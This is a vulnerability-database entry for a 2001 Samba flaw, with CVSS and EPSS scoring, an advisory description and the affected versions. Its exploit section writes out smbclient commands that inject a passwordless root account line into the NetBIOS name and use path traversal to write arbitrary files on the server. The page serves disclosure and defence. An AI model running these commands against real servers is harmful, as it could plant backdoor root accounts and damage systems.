Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 20968
Publication date : 2001-06-22 22h00 +00:00
Author : Michal Zalewski
EDB Verified : Yes
source: https://www.securityfocus.com/bid/2928/info
Samba is a freely available file and printer sharing application maintained and developed by the Samba Development Team. Samba allows file and printer sharing between operating systems on the Unix and Microsoft platforms.
A remote local user can write arbitrary files on the Samba server, as the smb daemon does not sufficiently check NetBIOS name input. It is possible to overwrite files on the Samba server, and if a user has local access, potentially gain elevated privileges.
This problem makes it possible for a remote user to deny service to legitimate users, and a local user to potentially gain elevated privileges.
smbclient //NIMUE/"`perl -e '{print "\ntoor::0:0::/:/bin/sh\n"}'`" -n ../../../tmp/x -N
From zhhsun <
[email protected]>
smbclient //NIMUE/"`perl -e '{print "\nopendoor::511:511::/:/bin/sh\n"}'`" -n ../../../tmp/x -N -I 192.168.12.13
and also
smbclient //NIMUE/"`perl -e '{print "\ntoor::0:0::/:/bin/sh\n"}'`" -n ../../../tmp/x -N -I 192.168.12.13
Yugo Yugos <
[email protected]> provided an exploit script. It is available at http://www.securityfocus.com/data/vulnerabilities/exploits/samba-exp.sh
Products Mentioned
Configuraton 0
Samba>>Samba >> Version 2.0.5
Samba>>Samba >> Version 2.0.6
Samba>>Samba >> Version 2.0.7
Samba>>Samba >> Version 2.0.8
Samba>>Samba >> Version 2.0.9
Samba>>Samba >> Version 2.2.0
Configuraton 0
Hp>>Cifs-9000_server >> Version a.01.05
Hp>>Cifs-9000_server >> Version a.01.06
References